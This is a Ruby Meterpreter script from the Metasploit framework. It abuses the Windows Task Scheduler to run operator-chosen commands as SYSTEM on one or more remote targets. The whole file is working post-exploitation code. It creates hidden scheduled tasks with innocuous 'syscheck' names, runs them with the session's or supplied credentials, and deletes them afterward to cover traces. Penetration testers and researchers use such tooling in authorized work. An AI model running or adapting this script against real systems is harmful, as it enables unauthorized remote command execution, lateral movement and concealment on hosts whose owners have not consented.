metasploit-framework/scripts/meterpreter/schtasksabuse.rb

142 lines
5.0 KiB
Ruby

#!/usr/bin/env ruby
#Meterpreter script for abusing the scheduler service in windows
#by scheduling and running a list of command against one or more targets
#using schtasks command to run them as system. This script works with Windows XP,
#Windows 2003, Windows Vista and Windows 2008.
#Verion: 0.1.1
#Note: in Vista UAC must be disabled to be able to perform scheduling
#and the meterpreter must be running under the profile of local admin
#or system.
################## Variable Declarations ##################
session = client
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ],
"-c" => [ true,"Commands to execute. Several command can be given but separated by commas and enclose the list in doble quotes if arguments are used."],
"-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."],
"-p" => [ true,"Password for user account specified, it must be given if a user is given."],
"-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."],
"-t" => [ true,"Remote system to schedule job."],
"-l" => [ true,"Text file with list of targets, one per line."],
"-s" => [ true,"Text file with list of commands, one per line."]
)
#Setting Argument variables
commands = []
targets = []
username = nil
password = nil
delay = 2
help = 0
def usage
puts "This Meterpreter script is for running commands on targets system using the"
puts "Windows Scheduler, it is based on the tool presented but not released by Val Smith"
puts "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions"
puts "of the process Meterpreter is running under."
puts "Options:"
puts @@exec_opts.usage
end
def abuse(session,targets,commands,username,password,delay)
#for each target
targets.each do |t|
#for eacg command
commands.each do |c|
taskname = "syscheck#{rand(100)}"
success = false
#check if user name and password where given, if not credential of running process used
if username == nil && password == nil
print_status("Scheduling command #{c} to run .....")
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /st 00:00:00"
r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
#check if successfully scheduled
while(d = r.channel.read)
if d =~ /successfully been created/
print_status("The scheduled task has been successfully created")
success = true
end
end
#check if schedule successful, if not raise error
if !success
print_status("Failed to create scheduled task!!")
raise "Command could not be Scheduled"
elsif success
print_status("Running command on #{t}")
session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}")
end
r.channel.close
r.close
#Wait before scheduling next command
sleep(delay)
print_status("Removing scheduled task")
session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F")
else
print_status("Scheduling command #{c} to run .....")
execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00"
r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
#check if successfully scheduled
while(d = r.channel.read)
if d =~ /successfully been created/
print_status("The scheduled task has been successfully created")
success = true
end
end
#check if schedule successful, if not raise error
if !success
print_status("Failed to create scheduled task!!")
raise "Command could not be Scheduled"
elsif success
print_status("Running command on #{t}")
session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}")
end
r.channel.close
r.close
#Wait before scheduling next command
sleep(delay)
print_status("Removing scheduled task")
session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /u #{username} /p #{password} /F")
end
end
end
end
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-c"
commands = val.split(',')
when "-u"
username = val
when "-p"
password = val
when "-t"
targets = val.split(',')
when "-d"
delay = val.to_i
when "-s"
script = val
if not ::File.exists?(script)
raise "Command List File does not exists!"
else
::File.open(script, "r").each_line do |line|
commands << line.chomp
end
end
when "-l"
list = val
if not ::File.exists?(list)
raise "Command List File does not exists!"
else
::File.open(list, "r").each_line do |line|
targets << line.chomp
end
end
when "-h"
help = 1
end
}
puts "Meterpreter session running as #{session.sys.config.getuid}"
if help == 0 && commands.length != 0
abuse(session,targets,commands,username,password,delay)
else
usage
end